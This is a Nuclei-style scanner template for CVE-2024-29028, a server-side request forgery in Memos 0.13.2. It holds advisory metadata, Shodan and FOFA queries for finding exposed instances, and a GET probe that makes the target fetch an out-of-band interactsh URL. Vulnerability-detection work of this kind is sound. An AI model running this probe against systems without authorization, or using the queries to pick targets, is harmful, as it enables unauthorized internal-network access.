Memos 0.13.2 - Server-Side Request Forgery

id: CVE-2024-29028

info:
  name: Memos 0.13.2 - Server-Side Request Forgery
  author: ritikchaddha
  severity: medium
  description: |
    SSRF vulnerabilities exist in the memos API service `/o/get/httpmeta` that allow unauthenticated and authenticated users to enumerate and read from the internal network. In addition, one SSRF vulnerability leads to a reflected XSS vulnerability, which may allow an attacker complete control over the administrator account.
  impact: |
    Attackers can make the server perform requests to arbitrary internal or external resources, potentially accessing sensitive data or internal services.
  remediation: |
    Update Memos to version 0.13.3 or later.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2023-154_GHSL-2023-156_memos/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29028
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cwe-id: CWE-918
    cve-id: CVE-2024-29028
    epss-score: 0.01049
    epss-percentile: 0.6011
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Memos"
    fofa-query: title="Memos"
  tags: cve,cve2024,ssrf,memos,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/o/get/httpmeta?url=https://{{interactsh-url}}"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(interactsh_protocol, "dns")'
          - 'contains_any(tolower(body), "memos", "title\":")'
        condition: and
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